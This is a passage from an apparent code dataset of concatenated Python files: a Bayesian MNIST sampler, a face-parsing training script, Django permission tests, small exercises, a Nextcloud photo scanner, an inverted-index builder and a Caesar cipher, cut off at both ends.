tf.reshape(weights[:, start_idx:start_idx+in_dim*out_dim], [-1, in_dim, out_dim])\n start_idx += in_dim*out_dim\n bias = tf.expand_dims(weights[:, start_idx:start_idx+out_dim], 1)\n start_idx += out_dim\n\n return kernel, bias, start_idx\n\n @staticmethod\n def log_prior(weights):\n return -0.5*tf.reduce_sum(tf.square(weights), 1)\n\n @staticmethod\n def logits_from_x(weights, x):\n with tf.variable_scope('flatten'):\n flattened = tf.layers.flatten(x, name='flatten')\n\n with tf.variable_scope('tile'):\n tiled = tf.tile(tf.expand_dims(flattened, 0), [weights.get_shape()[0], 1, 1])\n\n with tf.variable_scope('dense1'):\n kernel1, bias1, start_idx = MnistInduceModel.gather_kernel_and_bias(weights, 784, 200)\n dense1 = tf.matmul(tiled, kernel1)+bias1\n relu1 = tf.nn.relu(dense1)\n\n with tf.variable_scope('dense2'):\n kernel2, bias2, start_idx = MnistInduceModel.gather_kernel_and_bias(weights, 200, 200, start_idx)\n dense2 = tf.matmul(relu1, kernel2)+bias2\n relu2 = tf.nn.relu(dense2)\n\n with tf.variable_scope('logit'):\n kernel3, bias3, start_idx = MnistInduceModel.gather_kernel_and_bias(weights, 200, 10, start_idx)\n logits = tf.matmul(dense2, kernel3)+bias3\n\n print('Logits from x:')\n print(x, flattened, tiled, dense1, dense2, logits, sep='\\n')\n return logits\n\n @staticmethod\n def log_lik_from_logits(y, logits, data_dim):\n num_particles = logits.get_shape().as_list()[0]\n tiled = tf.tile(tf.expand_dims(y, 0), [num_particles, 1, 1])\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits_v2(labels=tiled, logits=logits)\n log_lik = -data_dim*tf.reduce_mean(cross_entropy, axis=1)\n\n return log_lik\n\n @staticmethod\n def mala_step(weights, log_prob_fn, lr, num_walk_per_step):\n avg_acceptance_rate_ = 0.0\n with tf.variable_scope('mala_step0'):\n weights_ = weights\n log_prob_ = log_prob_fn(weights_)\n grads_ = tf.gradients(log_prob_, weights_)[0]\n\n for step in range(num_walk_per_step):\n with tf.variable_scope('mala_step'+str(step+1)):\n eps = tf.random_normal(weights_.get_shape())\n proposed_weights_ = tf.stop_gradient(weights_+lr*grads_+tf.sqrt(2*lr)*eps)\n proposed_log_prob_ = log_prob_fn(proposed_weights_)\n proposed_grads_ = tf.gradients(proposed_log_prob_, proposed_weights_)[0]\n\n # add rejection step\n log_numer = proposed_log_prob_-0.25/lr*tf.reduce_sum(\n tf.square(weights_-proposed_weights_-lr*proposed_grads_), axis=1)\n log_denom = log_prob_-0.5*tf.reduce_sum(tf.square(eps), axis=1)\n acceptance_rate = tf.clip_by_value(tf.exp(log_numer-log_denom), 0.0, 1.0)\n\n # accept samples and update related quantities\n u = tf.random_uniform(acceptance_rate.get_shape())\n accept = tf.less_equal(u, acceptance_rate)\n weights_ = tf.where(accept, proposed_weights_, weights_)\n log_prob_ = tf.where(accept, proposed_log_prob_, log_prob_)\n\n avg_acceptance_rate_ += tf.reduce_mean(acceptance_rate)/num_walk_per_step\n if step < num_walk_per_step-1:\n grads_ = tf.where(accept, proposed_grads_, grads_)\n\n return tf.assign(weights, weights_), avg_acceptance_rate_\n","sub_path":"models/mnist_induce_model.py","file_name":"mnist_induce_model.py","file_ext":"py","file_size_in_byte":9588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"203954759","text":"from template import TemplateModel\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport argparse\nimport numpy as np\nfrom tensorboardX import SummaryWriter\nfrom icnnmodel import FaceModel as Stage1Model\nimport uuid as uid\nimport os\nfrom torchvision import transforms\nfrom helper_funcs import F1Score, calc_centroid, affine_crop, affine_mapback\nfrom preprocess import ToPILImage, ToTensor, OrigPad, Resize\nfrom torch.utils.data import DataLoader\nfrom dataset import HelenDataset\nfrom data_augmentation import Stage1Augmentation\n\nuuid = str(uid.uuid1())[0:8]\nprint(uuid)\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--batch_size\", default=16, type=int, help=\"Batch size to use during training.\")\nparser.add_argument(\"--display_freq\", default=10, type=int, help=\"Display frequency\")\nparser.add_argument(\"--cuda\", default=0, type=int, help=\"Choose GPU with cuda number\")\nparser.add_argument(\"--pretrain\", default=0, type=int, help=\"Load pretrain\")\nparser.add_argument(\"--datamore\", default=0, type=int, help=\"Augmentation\")\nparser.add_argument(\"--mode\", default='resize', type=str, help=\"orig, resize\")\nparser.add_argument(\"--lr\", default=0.0025, type=float, help=\"Learning rate for optimizer\")\nparser.add_argument(\"--epochs\", default=25, type=int, help=\"Number of epochs to train\")\nparser.add_argument(\"--eval_per_epoch\", default=1, type=int, help=\"eval_per_epoch \")\nargs = parser.parse_args()\nprint(args)\n\n# Dataset and Dataloader\n# Dataset Read_in Part\nroot_dir = \"/data1/yinzi/datas\"\nparts_root_dir = \"/home/yinzi/data3/recroped_parts\"\npretrain_path = \"/home/yinzi/data3/checkpoints_A/best.pth.tar\"\ntxt_file_names = {\n 'train': \"exemplars.txt\",\n 'val': \"tuning.txt\",\n 'test': \"testing.txt\"\n}\n\ntransforms_list = {\n 'train':\n transforms.Compose([\n ToTensor(),\n Resize((128, 128)),\n OrigPad()\n ]),\n 'val':\n transforms.Compose([\n ToTensor(),\n Resize((128, 128)),\n OrigPad()\n ]),\n 'test':\n transforms.Compose([\n ToTensor(),\n Resize((128, 128)),\n OrigPad()\n ])\n}\n\nAugment_Dataset = Stage1Augmentation(\n dataset=HelenDataset,\n txt_file=txt_file_names,\n root_dir=root_dir,\n parts_root_dir=parts_root_dir,\n resize=(128, 128)\n)\nenhaced_stage1_datasets = Augment_Dataset.get_dataset()\n\n# DataLoader\nDataset = {x: HelenDataset(txt_file=txt_file_names[x],\n root_dir=root_dir,\n parts_root_dir=parts_root_dir,\n transform=transforms_list[x]\n )\n for x in ['train', 'val', 'test']\n }\n\nif args.datamore:\n dataloader = {x: DataLoader(enhaced_stage1_datasets[x], batch_size=args.batch_size,\n shuffle=True, num_workers=4)\n for x in ['train', 'val', 'test']\n }\nelse:\n dataloader = {x: DataLoader(Dataset[x], batch_size=args.batch_size,\n shuffle=True, num_workers=4)\n for x in ['train', 'val', 'test']\n }\n\n\nclass TrainModel(TemplateModel):\n\n def __init__(self, argus=args):\n super(TrainModel, self).__init__()\n self.args = argus\n self.writer = SummaryWriter('log')\n self.step = 0\n self.epoch = 0\n self.best_error = float('Inf')\n\n self.device = torch.device(\"cuda:%d\" % self.args.cuda if torch.cuda.is_available() else \"cpu\")\n\n self.model = Stage1Model().to(self.device)\n if self.args.pretrain:\n self.load_state(pretrain_path, optim=False, map_location=self.device)\n self.epoch = 0\n self.step = 0\n self.best_error = float('Inf')\n self.optimizer = optim.Adam(self.model.parameters(), self.args.lr)\n self.criterion = nn.CrossEntropyLoss()\n self.metric = nn.CrossEntropyLoss()\n self.scheduler = optim.lr_scheduler.StepLR(self.optimizer, step_size=5, gamma=0.5)\n\n self.train_loader = dataloader['train']\n self.eval_loader = dataloader['val']\n\n self.ckpt_dir = \"checkpoints_A/%s\" % uuid\n self.display_freq = args.display_freq\n\n # call it to check all members have been intiated\n self.check_init()\n\n def train_loss(self, batch):\n if self.args.mode == 'orig':\n orig = batch['orig'].to(self.device)\n orig_label = batch['orig_label'].to(self.device)\n pred = self.model(orig)\n loss = self.criterion(pred, orig_label.argmax(dim=1, keepdim=False))\n else:\n x, y = batch['image'].float().to(self.device), batch['labels'].float().to(self.device)\n pred = self.model(x)\n loss = self.criterion(pred, y.argmax(dim=1, keepdim=False))\n\n return loss, None\n\n def eval_error(self):\n loss_list = []\n for batch in self.eval_loader:\n if self.args.mode == 'orig':\n orig = batch['orig'].to(self.device)\n orig_label = batch['orig_label'].to(self.device)\n pred = self.model(orig)\n loss = self.criterion(pred, orig_label.argmax(dim=1, keepdim=False))\n else:\n x, y = batch['image'].float().to(self.device), batch['labels'].float().to(self.device)\n pred = self.model(x)\n loss = self.criterion(pred, y.argmax(dim=1, keepdim=False))\n loss_list.append(loss.item())\n return np.mean(loss_list), None\n\n def eval(self):\n self.model.eval()\n error, others = self.eval_error()\n\n if error < self.best_error:\n self.best_error = error\n self.save_state(os.path.join(self.ckpt_dir, 'best.pth.tar'), False)\n self.save_state(os.path.join(self.ckpt_dir, '{}.pth.tar'.format(self.epoch)))\n self.writer.add_scalar('error_%s' % uuid, error, self.epoch)\n print('epoch {}\\terror {:.3}\\tbest_error {:.3}'.format(self.epoch, error, self.best_error))\n\n if self.eval_logger:\n self.eval_logger(self.writer, others)\n\n return error\n\n def train(self):\n self.model.train()\n self.epoch += 1\n for batch in self.train_loader:\n self.step += 1\n self.optimizer.zero_grad()\n\n loss, others = self.train_loss(batch)\n\n loss.backward()\n self.optimizer.step()\n\n if self.step % self.display_freq == 0:\n self.writer.add_scalar('loss_%s' % uuid, loss.item(), self.step)\n print('epoch {}\\tstep {}\\tloss {:.3}'.format(self.epoch, self.step, loss.item()))\n if self.train_logger:\n self.train_logger(self.writer, others)\n\n def save_state(self, fname, optim=True):\n state = {}\n if isinstance(self.model, torch.nn.DataParallel):\n state['model1'] = self.model.module.state_dict()\n else:\n state['model1'] = self.model.state_dict()\n\n if optim:\n state['optimizer'] = self.optimizer.state_dict()\n state['step'] = self.step\n state['epoch'] = self.epoch\n state['best_error'] = self.best_error\n torch.save(state, fname)\n print('save model at {}'.format(fname))\n\n def load_state(self, fname, optim=True, map_location=None):\n state = torch.load(fname, map_location=map_location)\n\n if isinstance(self.model, torch.nn.DataParallel):\n self.model.module.load_state_dict(state['model1'])\n else:\n self.model.load_state_dict(state['model1'])\n\n if optim and 'optimizer' in state:\n self.optimizer.load_state_dict(state['optimizer'])\n self.step = state['step']\n self.epoch = state['epoch']\n self.best_error = state['best_error']\n print('load model from {}'.format(fname))\n\n\ndef start_train():\n train = TrainModel(args)\n\n for epoch in range(args.epochs):\n train.train()\n train.scheduler.step(epoch)\n if (epoch + 1) % args.eval_per_epoch == 0:\n train.eval()\n\n print('Done!!!')\n\n\nstart_train()\n","sub_path":"train_stage1.py","file_name":"train_stage1.py","file_ext":"py","file_size_in_byte":8140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"297128656","text":"import pytest\nfrom guardian.shortcuts import assign_perm, remove_perm\n\nfrom grandchallenge.cases.models import Image\nfrom tests.cases_tests.factories import (\n ImageFactoryWithImageFile,\n ImageFactoryWithoutImageFile,\n RawImageUploadSessionFactory,\n)\nfrom tests.factories import ImageFileFactory, UserFactory\nfrom tests.utils import get_view_for_user\n\n\n@pytest.mark.django_db\nclass TestObjectPermissionRequiredViews:\n def test_permission_required_views(self, client):\n rius = RawImageUploadSessionFactory()\n image_file_dzi = ImageFileFactory(image_type=\"DZI\")\n image_file_mh = ImageFactoryWithImageFile(\n color_space=Image.COLOR_SPACE_GRAY\n )\n u = UserFactory()\n\n for view_name, kwargs, permission, obj in [\n (\n \"raw-image-upload-session-detail\",\n {\"pk\": rius.pk},\n \"view_rawimageuploadsession\",\n rius,\n ),\n (\n \"osd-image-detail\",\n {\"pk\": image_file_dzi.image.pk},\n \"view_image\",\n image_file_dzi.image,\n ),\n (\n \"vtk-image-detail\",\n {\"pk\": image_file_mh.pk},\n \"view_image\",\n image_file_mh,\n ),\n ]:\n response = get_view_for_user(\n client=client,\n viewname=f\"cases:{view_name}\",\n reverse_kwargs=kwargs,\n user=u,\n )\n\n assert response.status_code == 403\n\n assign_perm(permission, u, obj)\n\n response = get_view_for_user(\n client=client,\n viewname=f\"cases:{view_name}\",\n reverse_kwargs=kwargs,\n user=u,\n )\n\n assert response.status_code == 200\n\n remove_perm(permission, u, obj)\n\n def test_permission_filtered_views(self, client):\n rius = RawImageUploadSessionFactory()\n u = UserFactory()\n\n for view_name, kwargs, permission, obj in [\n (\n \"raw-image-upload-session-list\",\n {},\n \"view_rawimageuploadsession\",\n rius,\n ),\n ]:\n assign_perm(permission, u, obj)\n\n response = get_view_for_user(\n client=client,\n viewname=f\"cases:{view_name}\",\n reverse_kwargs=kwargs,\n user=u,\n )\n\n assert response.status_code == 200\n assert obj in response.context[-1][\"object_list\"]\n\n remove_perm(permission, u, obj)\n\n response = get_view_for_user(\n client=client,\n viewname=f\"cases:{view_name}\",\n reverse_kwargs=kwargs,\n user=u,\n )\n\n assert response.status_code == 200\n assert obj not in response.context[-1][\"object_list\"]\n\n\n@pytest.mark.django_db\nclass TestVTKImageDetail:\n def test_permission_required_views(self, client):\n def get_status_code(image):\n u = UserFactory()\n assign_perm(\"view_image\", u, image)\n response = get_view_for_user(\n client=client,\n viewname=\"cases:vtk-image-detail\",\n reverse_kwargs={\"pk\": image.pk},\n user=u,\n )\n return response.status_code\n\n for image in (\n ImageFactoryWithoutImageFile(color_space=Image.COLOR_SPACE_GRAY),\n ImageFactoryWithImageFile(color_space=Image.COLOR_SPACE_RGB),\n ImageFactoryWithImageFile(color_space=Image.COLOR_SPACE_RGBA),\n ImageFactoryWithImageFile(color_space=Image.COLOR_SPACE_YCBCR),\n ):\n assert get_status_code(image) == 404\n\n image = ImageFactoryWithImageFile(color_space=Image.COLOR_SPACE_GRAY)\n assert get_status_code(image) == 200\n","sub_path":"app/tests/cases_tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":3943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"603614165","text":"import random\r\n\r\ndef rand(start, end):\r\n number = int(random.random() * (end - start + 1)) + start\r\n return number\r\n\r\ndef main():\r\n start = 1\r\n end = 10\r\n cnt=1\r\n number = rand(start, end)\r\n for i in range(10):\r\n anser=int(input(\"%d번째 추측값 : \"%cnt))\r\n if number == anser :\r\n print(\"정답입니다\")\r\n break\r\n elif number>anser :\r\n print(\"%d보다는 큽니다\"%anser)\r\n cnt+=1\r\n else :\r\n print(\"%d보다는 작습니다\"%anser)\r\n cnt+=1\r\n if cnt>5 :\r\n print(\"실패했습니다\")\r\n break\r\nmain()\r\n","sub_path":"random_number_guess.py","file_name":"random_number_guess.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"319977492","text":"def sum_digit(num):\n num = str(num)\n num = [int(i) for i in list(num)]\n return sum(num)\n\nmax = 0\nfor a in range(1, 100):\n for b in range(1, 100):\n if sum_digit(pow(a, b)) > max:\n max = sum_digit(pow(a, b))\n print(\"{}^{}={}\".format(a, b, pow(a, b)))\n\n\nprint(\"The maximum sum is\", max)\n\n","sub_path":"beforeyear2/56.py","file_name":"56.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"356567138","text":"import numpy as np\nimport sys\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\n\ndef read_mpi_soln_file( statefile , n ):\n \n c = np.zeros( n )\n count = 0\n with open( statefile ) as f:\n for line in f:\n try:\n c[count] = line\n count += 1\n except:\n pass\n \n return c\n\n\ndef main( ascii_file ):\n \n nx = 128\n ny = 128\n\n x = np.arange(nx)\n y = np.arange(ny)\n xx,yy = np.meshgrid(x,y)\n xx = xx.T; yy = yy.T\n \n c = read_mpi_soln_file( ascii_file , nx*ny )\n c = c.reshape( [nx,ny] , order='C' )\n \n plt.contourf( xx , yy , c , 30 , vmin=-1 , vmax=1 )\n plt.xticks([])\n plt.yticks([])\n plt.gca().set_aspect('equal')\n plt.show()\n \n\nif __name__ == '__main__':\n\n main( sys.argv[1] )\n","sub_path":"examples/ex1/plot_frame.py","file_name":"plot_frame.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"221514849","text":"from api.models import (Photo, Person, LongRunningJob)\nfrom django_rq import job\nimport owncloud as nextcloud\nimport pathlib\nimport ipdb\nimport os\nfrom ownphotos import settings\nimport os\nimport datetime\nimport hashlib\nimport pytz\nimport time\n\nfrom tqdm import tqdm\nfrom config import image_dirs\n\nimport api.util as util\n\nimport ipdb\nfrom django_rq import job\nimport time\nimport numpy as np\nimport rq\n\n\ndef collect_photos(nc, path, photos):\n for x in nc.list(path):\n if x.path.lower().endswith('.jpg'):\n photos.append(x.path)\n elif x.is_dir():\n collect_photos(nc, x.path, photos)\n\n\n@job\ndef scan_photos(user):\n lrj = LongRunningJob(\n started_by=user,\n job_id=rq.get_current_job().id,\n started_at=datetime.datetime.now(),\n job_type=LongRunningJob.JOB_SCAN_PHOTOS)\n lrj.save()\n\n nc = nextcloud.Client(user.nextcloud_server_address)\n nc.login(user.nextcloud_username, user.nextcloud_app_password)\n\n scan_directory = user.nextcloud_scan_directory\n photos = []\n\n image_paths = []\n\n collect_photos(nc, scan_directory, photos)\n\n for photo in tqdm(photos):\n local_dir = os.path.join(settings.BASE_DIR, 'nextcloud_media',\n user.username,\n os.path.dirname(photo)[1:])\n local_path = os.path.join(settings.BASE_DIR, 'nextcloud_media',\n user.username, photo[1:])\n image_paths.append(local_path)\n\n if not os.path.exists(local_dir):\n pathlib.Path(local_dir).mkdir(parents=True, exist_ok=True)\n\n if not os.path.exists(local_path):\n nc.get_file(photo, local_path)\n\n try:\n\n # for image_dir in image_dirs:\n # image_paths.extend([\n # os.path.join(dp, f) for dp, dn, fn in os.walk(image_dir)\n # for f in fn\n # ])\n\n image_paths.sort()\n\n existing_hashes = [p.image_hash for p in Photo.objects.all()]\n\n image_paths_to_add = []\n for image_path in tqdm(image_paths):\n # hash_md5 = hashlib.md5()\n # with open(image_path, \"rb\") as f:\n # for chunk in iter(lambda: f.read(4096), b\"\"):\n # hash_md5.update(chunk)\n # image_hash = hash_md5.hexdigest()\n # if image_hash not in existing_hashes:\n # image_paths_to_add.append(image_path)\n\n if not Photo.objects.filter(image_path=image_path).exists():\n # ipdb.set_trace()\n image_paths_to_add.append(image_path)\n\n added_photo_count = 0\n already_existing_photo = 0\n counter = 0\n for image_path in tqdm(image_paths_to_add):\n counter += 1\n if image_path.lower().endswith('.jpg'):\n try:\n img_abs_path = image_path\n\n start = datetime.datetime.now()\n hash_md5 = hashlib.md5()\n with open(img_abs_path, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n image_hash = hash_md5.hexdigest() + str(user.id)\n elapsed = (datetime.datetime.now() - start).total_seconds()\n util.logger.info('generating md5 took %.2f, image_hash: %s'\n % (elapsed, image_hash))\n\n # qs = Photo.objects.filter(image_hash=image_hash)\n\n photo_exists = Photo.objects.filter(\n image_hash=image_hash).exists()\n\n if not photo_exists:\n photo = Photo(image_path=img_abs_path, owner=user)\n photo.added_on = datetime.datetime.now().replace(\n tzinfo=pytz.utc)\n photo.geolocation_json = {}\n photo.save()\n photo._generate_md5()\n\n start = datetime.datetime.now()\n photo._generate_thumbnail()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info('thumbnail get took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._generate_captions()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info(\n 'caption generation took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._save_image_to_db()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info('image save took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._extract_exif()\n photo.save()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info('exif extraction took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._geolocate_mapbox()\n photo.save()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info('geolocation took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._add_to_album_place()\n photo.save()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info(\n 'add to AlbumPlace took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._extract_faces()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info('face extraction took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._add_to_album_date()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info(\n 'adding to AlbumDate took %.2f' % elapsed)\n\n start = datetime.datetime.now()\n photo._add_to_album_thing()\n elapsed = (\n datetime.datetime.now() - start).total_seconds()\n util.logger.info(\n 'adding to AlbumThing took %.2f' % elapsed)\n\n added_photo_count += 1\n util.logger.info(\n \"Image processed: {}\".format(img_abs_path))\n else:\n already_existing_photo += 1\n util.logger.info(\"photo already exists in db\")\n print(\"photo already exists in db %s\" % img_abs_path)\n except Exception as e:\n try:\n util.logger.error(\n \"Could not load image {}. reason: {}\".format(\n image_path, e.__repr__()))\n except:\n util.logger.error(\n \"Could not load image {}\".format(image_path))\n\n util.logger.info(\"Added {}/{} photos\".format(\n added_photo_count,\n len(image_paths) - already_existing_photo))\n\n lrj = LongRunningJob.objects.get(job_id=rq.get_current_job().id)\n lrj.finished = True\n lrj.finished_at = datetime.datetime.now()\n lrj.result = {\"new_photo_count\": added_photo_count}\n lrj.save()\n except:\n lrj = LongRunningJob.objects.get(job_id=rq.get_current_job().id)\n lrj.finished = True\n lrj.failed = True\n lrj.finished_at = datetime.datetime.now()\n lrj.result = {\"new_photo_count\": 0}\n lrj.save()\n return {\"new_photo_count\": added_photo_count, \"status\": True}\n","sub_path":"nextcloud/directory_watcher.py","file_name":"directory_watcher.py","file_ext":"py","file_size_in_byte":8395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"276376698","text":"from bs4 import BeautifulSoup\nfrom PorterStemmer import PorterStemmer\nfrom collections import defaultdict\nimport sys\nimport re\nimport os\nimport json\nimport string\n\ndef VBEncode(n):\n bytes = [] \n bytes.append(n%128)\n n = n//128\n while(True):\n if(n==0): \n break\n else: \n bytes.insert(0, n%128 + 128)\n n = n//128\n return bytes\n\nexclist = string.punctuation \ntable = str.maketrans('', '', exclist)\n\nps = PorterStemmer()\ndef def_value():\n return \"Not Present\"\ndocId = defaultdict(def_value)\npostings = defaultdict(list)\ncount = 0\nlastDoc = defaultdict(int)\noffsetAndLength = defaultdict(lambda: [0,0])\n\nfilecount = 0\ndoclist = sorted(os.listdir('tipster-ap-frac'))\ntotal = len(doclist)\nfor file in doclist:\n filecount += 1\n f = os.path.join('tipster-ap-frac', file)\n if(file=='ap890520'): \n continue\n if(filecount>20):\n break\n xmldoc = open(f, 'r')\n soup = BeautifulSoup(xmldoc, 'lxml')\n docs = soup.find_all('doc')\n print('Processing ', f, '( ', filecount, ' out of ', total, ' processed )')\n for doc in docs:\n count += 1\n docNo = doc.find('docno')\n heads = doc.find_all('head')\n texts = doc.find_all('text')\n id = docNo.get_text().replace(' ', '')\n docId[count] = id\n if(len(heads)>0):\n for head in heads:\n temp = head.get_text().translate(str.maketrans(table)).split()\n # temp = modText.split()\n # temp = re.split(r'[`\\-=~!@#$%^&*()_+\\[\\]{};\\'\\\\:\"|<,./<>?\\s]', head.get_text())\n for word in temp:\n if(word=='' or word==' ' or word==' ' or word.isnumeric()):\n continue\n stemmed = ps.stem(word.lower(), 0, len(word)-1)\n # print(stemmed)\n if(len(postings[stemmed])==0):\n postings[stemmed].append(count)\n lastDoc[stemmed]=count \n elif(lastDoc[stemmed]!=count):\n postings[stemmed].append(count-lastDoc[stemmed]) \n lastDoc[stemmed]=count \n if(len(texts)>0): \n for text in texts:\n temp =text.get_text().translate(table).split()\n # temp = modText.split()\n # temp = re.split(r'[`\\-=~!@#$%^&*()_+\\[\\]{};\\'\\\\:\"|<,./<>?\\s]', text.get_text().lower())\n for word in temp:\n if(word=='' or word==' ' or word==' ' or word.isnumeric()):\n continue\n stemmed = ps.stem(word.lower(), 0, len(word)-1)\n # print(stemmed)\n if(len(postings[stemmed])==0):\n postings[stemmed].append(count) \n lastDoc[stemmed]=count \n elif(lastDoc[stemmed]!=count):\n postings[stemmed].append(count-lastDoc[stemmed]) \n lastDoc[stemmed]=count \n\ndestFile = open(\"c1_index_gap.idx\", \"wb\")\nencodedJSON = json.dumps(docId).encode('utf-8')\ndestFile.write(encodedJSON)\noffsetAndLength['DocIdMapLength'] = len(encodedJSON)\ncOffset = len(encodedJSON)\n\nfor key in postings.keys():\n offsetAndLength[key][0]=cOffset\n pl = postings[key]\n for post in pl:\n encoded = VBEncode(post)\n for j in range(0, len(encoded)):\n toWrite = encoded[j].to_bytes(1, sys.byteorder)\n cOffset+=1\n offsetAndLength[key][1]+=1\n destFile.write(toWrite)\n\nwith open(\"c1_offsetAndLength\", \"w\") as fp:\n json.dump(offsetAndLength,fp) \n\n\n","sub_path":"IndividualCompress&Query/c1_create_index.py","file_name":"c1_create_index.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"319414937","text":"from astropy.io import fits\nimport numpy as np\nimport pandas as pd\nimport os\n\ndef open_images(folder):\n data = []\n for filename in os.listdir(folder):\n f = folder + \"/\" + filename\n if f[-4:] == \"fits\":\n with fits.open(f) as hdu:\n el = dict(hdu[0].header)\n el[\"filename\"] = filename\n el[\"data\"] = hdu[0].data\n data.append(el)\n return pd.DataFrame(data)","sub_path":"fysfuncties/astro.py","file_name":"astro.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"597146831","text":"\n# global constants:\nALPHABET = \"abcdefghijklmnopqrstuvwxyz\"\nALPHABET_SIZE = len(ALPHABET)\n\n# main function definition:\ndef main():\n # User interface:\n print(\"Welcome to the Caesar Cipher!\")\n # ADD MORE CODE HERE FOR STEP 15\n keep_running = True\n while keep_running:\n\n # display the menu\n menu()\n\n # get user input for menu options\n user_input = int(input('What would you like to do? '))\n \n if user_input is 1:\n plaintext = str(input('Enter a plaintext message to encrypt: '))\n key = int(input('Enter a number to use as the key: '))\n print(enc(key, plaintext))\n \n elif user_input is 2:\n ciphertext = str(input('Enter a ciphertext message to decrypt: '))\n key = int(input('Enter a number to use as the key: '))\n print(dec(key, ciphertext))\n elif user_input == 0:\n keep_running = False\n \n \n \n# This funciton encrypts a message using a Caesar cipher\n# parameter: key, an integer that defines the number of positions to shift\n# parameter: plaintext, a string that is the message in plaintext\n# returns the encrypted message as a ciphertext\ndef enc(key, plaintext):\n ciphertext = \"\"\n for char in plaintext:\n # ADD MORE CODE HERE FOR STEP 17\n if (char.isspace()): # check if the char is space\n ciphertext += char # append it to the ciphertext\n else:\n char_pos = ALPHABET.index(char)\n new_pos = (char_pos + key) % ALPHABET_SIZE\n enc_char = ALPHABET[new_pos]\n ciphertext += enc_char\n return ciphertext\n\n# This funciton decrypts a message using a Caesar cipher\n# parameter: key, an integer that defines the number of positions to shift\n# parameter: ciphertext, a string that is the message as a ciphertext\n# returns the decrypted message as a plaintext\ndef dec(key, ciphertext):\n plaintext = ''\n for char in ciphertext:\n # ADD MORE CODE HERE FOR STEP 19\n if (char.isspace()): # check of char is space\n plaintext += char # append it to the plaintext\n else:\n char_pos = ALPHABET.index(char)\n new_pos = (char_pos - key) % ALPHABET_SIZE\n dec_char = ALPHABET[new_pos]\n plaintext += dec_char\n return plaintext\n# this function displays the menu options to the user\ndef menu():\n print('''\n Enter 1 to encrypt a message.\n Enter 2 to decrypt a message.\n Enter 0 to exit.\n ''')\n# call to main:\nmain()","sub_path":"xyz/AdanLab09-1.py","file_name":"AdanLab09-1.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"246881207","text":"#coding=utf-8\n# Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"Binary for training translation models and decoding from them.\n\nRunning this program without --decode will download the WMT corpus into\nthe directory specified as --data_dir and tokenize it in a very basic way,\nand then start training a model saving checkpoints to --train_dir.\n\nRunning with --decode starts an interactive loop so you can see how\nthe current checkpoint translates English sentences into French.\n\nSee the following papers for more information on neural translation models.\n * http://arxiv.org/abs/1409.3215\n * http://arxiv.org/abs/1409.0473\n * http://arxiv.org/abs/1412.2007\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport math\nimport os\nimport random\nimport sys\nimport time\nimport re\n\nimport numpy as np\nfrom six.moves import xrange # pylint: disable=redefined-builtin\nimport tensorflow as tf\n\nfrom tensorflow.models.rnn.translate import seq2seq_model\nfrom tensorflow.python.platform import flags\n\n# Model \ntf.app.flags.DEFINE_integer(\"size\", 1024, \"Size of each model layer.\")\ntf.app.flags.DEFINE_integer(\"num_layers\", 3, \"Number of layers in the model.\")\ntf.app.flags.DEFINE_integer(\"input_vocab_size\", 40000, \"English vocabulary size.\")\ntf.app.flags.DEFINE_integer(\"output_vocab_size\", 40000, \"French vocabulary size.\")\ntf.app.flags.DEFINE_string(\"cell_model\", \"BasicLSTMCell\", \"specify the the cell model\")\n\n# Optimize \ntf.app.flags.DEFINE_float(\"learning_rate\", 0.5, \"Learning rate.\")\ntf.app.flags.DEFINE_float(\"learning_rate_decay_factor\", 0.99, \"Learning rate decays by this much.\")\ntf.app.flags.DEFINE_float(\"max_gradient_norm\", 